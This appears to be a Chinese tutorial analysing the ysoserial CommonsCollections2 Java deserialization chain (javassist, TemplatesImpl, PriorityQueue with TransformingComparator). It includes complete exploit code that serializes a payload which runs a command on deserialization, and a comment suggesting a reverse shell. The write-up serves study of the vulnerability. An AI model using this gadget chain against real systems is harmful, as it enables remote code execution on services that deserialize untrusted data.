1.CommonsCollections2利用链测试
这个利用链需要的commons-collections版本为commons-collections4:4.0
。mvn如下:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
1.生成反序列化数据
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections2 "/Applications/Calculator.app/Contents/MacOS/Calculator" > CC2Test.bin
2.使用如下代码对序列化数据进行反序列化
public static void main(String[] args) throws IOException, ClassNotFoundException { ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("CC2Test.bin")); objectInputStream.readObject(); }
命令正常执行,计算器程序被运行。
2.CommonsCollections2利用链分析
也是个很长的利用链,ysoserial里把很多常用的方法都进行了封装。代码依旧很长,核心类主要包含一下几个部分:
- javassist
- TemplatesImpl
- PriorityQueue
以下对这几部分分别进行解读学习。
2.1 javassist
java的类或者接口经过编译后存储在class文件中,文件中保存的就是所谓的字节码。Javaassist就是一个用来处理字节码的类,使用该类可以在一个已编译好的类中添加或修改已有的方法/属性。并且可以将修改后的class再转换成二进制码用于存储。
我们以如下代码为例,测试一下javassist的使用:
import java.io.*; import java.lang.reflect.InvocationTargetException; import javassist.*; import javax.xml.transform.TransformerConfigurationException; public class TestJavassist { public static class test{ public test(){ System.out.println("hhahah"); } } public static class myClassLoader extends ClassLoader{ public Class<?> Loader(String name, byte[] b, int off, int len){ return defineClass(null, b, 0, b.length); } } public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException { ClassPool pool = ClassPool.getDefault();//获取到的ClassPool以键值对形式存储着当前环境下的class final CtClass clazz = pool.get(test.class.getName());//获取test类对应的CtClass final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode myClassLoader loader = new myClassLoader();//利用classLoader从字节码加载class loader.Loader(null,classBytes, 0, classBytes.length).newInstance();//实例化class会自动调用类的初始化方法 } }
这里利用javassist
,将一个自定义的类test
转换成了二进制码,并通过java.lang.ClassLoader
的defineClass
方法从二进制码中加载了test
类。对二进制类实例化时,将会调用test
类的构造方法。运行结果如下:
可以看到这里正常执行了test类的构造方法。那么如果我们在test构造方法中调用Runtime.getRuntime.exec()
显然就可以执行系统命令。那么假如某个类中,如果使用了上面这种方法动态创建实例,并且类的二进制码我们可以控制,那么在他创建实例的时候就会执行任意代码。这里作者用到的类就是TemplatesImpl
。
2.2 TemplatesImpl
该类保存于com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
。该类中当调用newTransformer
方法时将会触发上述从字节码实例化一个类的过程。该方法代码如下:
public synchronized Transformer newTransformer() throws TransformerConfigurationException { TransformerImpl transformer; transformer = new TransformerImpl( getTransletInstance(), //从字节码实例化一个类 _outputProperties, _indentNumber, _tfactory ); ...省略... return transformer; }
newTransformer
方法中将会调用getTransletInstance
方法来获得一个Translet
。getTransletInstance
方法代码如下:
private Translet getTransletInstance() throws TransformerConfigurationException { try { if (_name == null) return null;//_name不能为null if (_class == null) defineTransletClasses();//_class不为null,调用defineTransletClasses AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();//实例化一个_class[_transletIndex] ...省略... return translet; } ...省略... }
getTransletInstance()
中调用defineTransletClasses()
来获取一个类的class
,然后紧接着调用newInstance
来对获取的类实例化。当然要完成以上流程必须要有如下条件:
- _name != null
- _class == null
真正从字节码中获取类的代码就保存在defineTransletClasses()
中,其代码如下:
private void defineTransletClasses() throws TransformerConfigurationException { if (_bytecodes == null) {//_bytecodes不能为null否则抛出异常 ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException(err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction() { public Object run() { return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } });//获取classLoader,这里调用了_tfactory.getExternalExtensionsMap(),因此我们也需要设置一个TransformerFactoryImpl的_tfactory参数,否则将会抛出异常 try { final int classCount = _bytecodes.length;//获取_bytecodes _class = new Class[classCount];//获取对应__class if (classCount > 1) { _auxClasses = new HashMap<>(); } for (int i = 0; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]);//从_bytecodes[i]中加载类 final Class superClass = _class[i].getSuperclass();//获取该类的父类 // Check if this is the main class // private static String ABSTRACT_TRANSLET //ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; if (superClass.getName().equals(ABSTRACT_TRANSLET)) {//父类必须是AbstractTranslet _transletIndex = i;//保存索引 } else { _auxClasses.put(_class[i].getName(), _class[i]);//保存类 } } if (_transletIndex < 0) {//可以看到如果我们传入的_bytecodes[i]父类不是AbstractTranslet则_transletIndex将不会修改为i,而其初始值是-1,也会抛出异常 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException(err.toString()); } } ...省略... }
可以看到,该函数中将会从_bytecodes[i]
中读取字节码,并使用defineClass
获取类。如果我们传入一个byte[][]
作为_bytecodes
,在byte[0]
存入恶意的类(并保证该类父类是AbstractTranslet
)。则获取到的类会保存在_class[0]
,并且_transletIndex
将会等于0。由于之前getTransletInstance
中AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
实例化的就是_class[_transletIndex],因此我们需要保证_transletIndex
指向我们的恶意类,而方法就是设置恶意类的父类为AbstractTranslet
。
至此我们得到如下结论,真正要想实例化一个恶意类,我们需要对TemplatesImpl
实例设置如下:
- _name != null (defineTransletClasses得到的条件)
- _class == null (defineTransletClasses得到的条件)
- _byte[i]中存放恶意类的二进制码_byte[] (defineTransletClasses得到的条件)
- 恶意类的父类必须是AbstractTranslet (defineTransletClasses得到的条件)
- 设置一个TransformerFactoryImpl的_tfactory参数
综上得到一个调用newTransformer
就会执行恶意代码的TemplatesImpl
代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.PriorityQueue; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.TransformerConfigurationException; class myClassLoader extends ClassLoader{ public Class<?> Loader(String name, byte[] b, int off, int len){ return defineClass(null, b, 0, b.length); } } public class CC2Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl //生成class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态初始化函数里运行exec执行命令 // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 //上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以 //CtClass superC = pool.get(abstTranslet.getName()); //clazz.setSuperclass(superC);//设置父类为abstTranslet final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode //设置templates的_bytecodes为上面的classBytes Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templates, new byte[][]{classBytes}); //设置templates的_name Field filedName = templates.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(templates,"Pwnr"); //设置templates的_tfactory参数 Field filedtfactory = templates.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(templates,transFactory.newInstance()); templates.newTransformer();//执行newTransformer测试 } }
运行将会发现计算器弹出,命令被成功执行。但是我们需要在反序列化时利用该漏洞即需要一个类中的readObject方法可以调用TemplatesImpl
类的newTransformer
方法。这里作者所用的的类就是java.util.PriorityQueue
结合TransformingComparator
以及InvokerTransformer
。
2.3 PriorityQueue
PriorityQueue从名字看,优先队列,显然是一个可以自动排序的有序队列。这个类支持自定义排序时用的比较方法。并且在反序列化时该类会自动对元素进行排序,其readObject
方法代码如下:
private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { // Read in size, and any hidden stuff s.defaultReadObject(); // Read in (and discard) array length s.readInt(); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, size); queue = new Object[size]; // Read in all elements. for (int i = 0; i < size; i++) queue[i] = s.readObject(); //上面的代码主要是读取每一个元素并进行反序列化 heapify();//进入该函数开始排序 }
函数中调用了heapify()
方法进行排序。该方法代码如下:
private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
其中调用了siftDown
方法,代码如下:
private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
即如果设置了comparator
则调用siftDownUsingComparator
,我们跟进siftDownUsingComparator
,代码如下:
private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0)//调用comparator.compare c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
可以看到,在比较的过程中,该函数调用了comparator.compare
。而comparator
作者这里使用了TransformingComparator
,它的compare
方法如下:
public int compare(I obj1, I obj2) { O value1 = this.transformer.transform(obj1); O value2 = this.transformer.transform(obj2); return this.decorated.compare(value1, value2); }
可以看到非常熟悉的代码,transformer.transform
。这跟前面CC1
的利用方法完全相同。我们只需要设置这里的transformer.transform
为InvokerTransformer
,函数执行的方法为newTransformer
即可在PriorityQueue
的元素中执行newTransformer
方法,如果PriorityQueue
中的元素为前面我们生成的恶意TemplatesImpl
类,那么显然命令将会被执行。
最终我们得到的代码如下:
import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import javassist.*; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer; import javax.xml.transform.TransformerConfigurationException; class myClassLoader extends ClassLoader{ public Class<?> Loader(String name, byte[] b, int off, int len){ return defineClass(null, b, 0, b.length); } } public class CC2Test { public static class StubTransletPayload extends AbstractTranslet implements Serializable { public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {} @Override public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {} } public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException, NoSuchFieldException, TransformerConfigurationException, NoSuchMethodException, InvocationTargetException { String command = "/Applications/Calculator.app/Contents/MacOS/Calculator"; Class tplClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Class abstTranslet = Class.forName("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); Class transFactory = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl"); TemplatesImpl templates = (TemplatesImpl)tplClass.newInstance();//创建一个TemplatesImpl //生成class ClassPool pool = ClassPool.getDefault(); pool.insertClassPath(new ClassClassPath(StubTransletPayload.class)); pool.insertClassPath(new ClassClassPath(abstTranslet)); final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // 在静态初始化函数里运行exec执行命令 // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd);//插入类初始化代码,即要执行的恶意代码 //上面用的这个StubTransletPayload类其实已经继承了AbstractTranslet,因此下面这两行代码不要也可以 //CtClass superC = pool.get(abstTranslet.getName()); //clazz.setSuperclass(superC);//设置父类为abstTranslet final byte[] classBytes = clazz.toBytecode();//这就是我们通过字节码操作得到的一个class转换的ByteCode //设置templates的_bytecodes为上面的classBytes Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes"); fieldByteCodes.setAccessible(true); fieldByteCodes.set(templates, new byte[][]{classBytes}); //设置templates的_name Field filedName = templates.getClass().getDeclaredField("_name"); filedName.setAccessible(true); filedName.set(templates,"Pwnr"); //设置templates的_tfactory参数 Field filedtfactory = templates.getClass().getDeclaredField("_tfactory"); filedtfactory.setAccessible(true); filedtfactory.set(templates,transFactory.newInstance()); final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]); //这里要注意InvokerTransformer的方法先设置成toString并不是闲得慌,因为queue.add的时候也会调用这个方法 // 创建一个queue并设置用于排序的比较类为transformer final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer)); // 随便填充两个数据 queue.add(1); queue.add(1); // 修改transformer的iMethodName为newTransformer Field filediMethodName = transformer.getClass().getDeclaredField("iMethodName"); filediMethodName.setAccessible(true); filediMethodName.set(transformer,"newTransformer"); //修改queue的第一个元素为templates Field fieldQueueArray = queue.getClass().getDeclaredField("queue"); fieldQueueArray.setAccessible(true); Object[] queueArray = (Object[])fieldQueueArray.get(queue); queueArray[0] = templates; //序列化 ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream obj = new ObjectOutputStream(baos); obj.writeObject(queue); //反序列化 ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream obji = new ObjectInputStream(bais); obji.readObject(); } }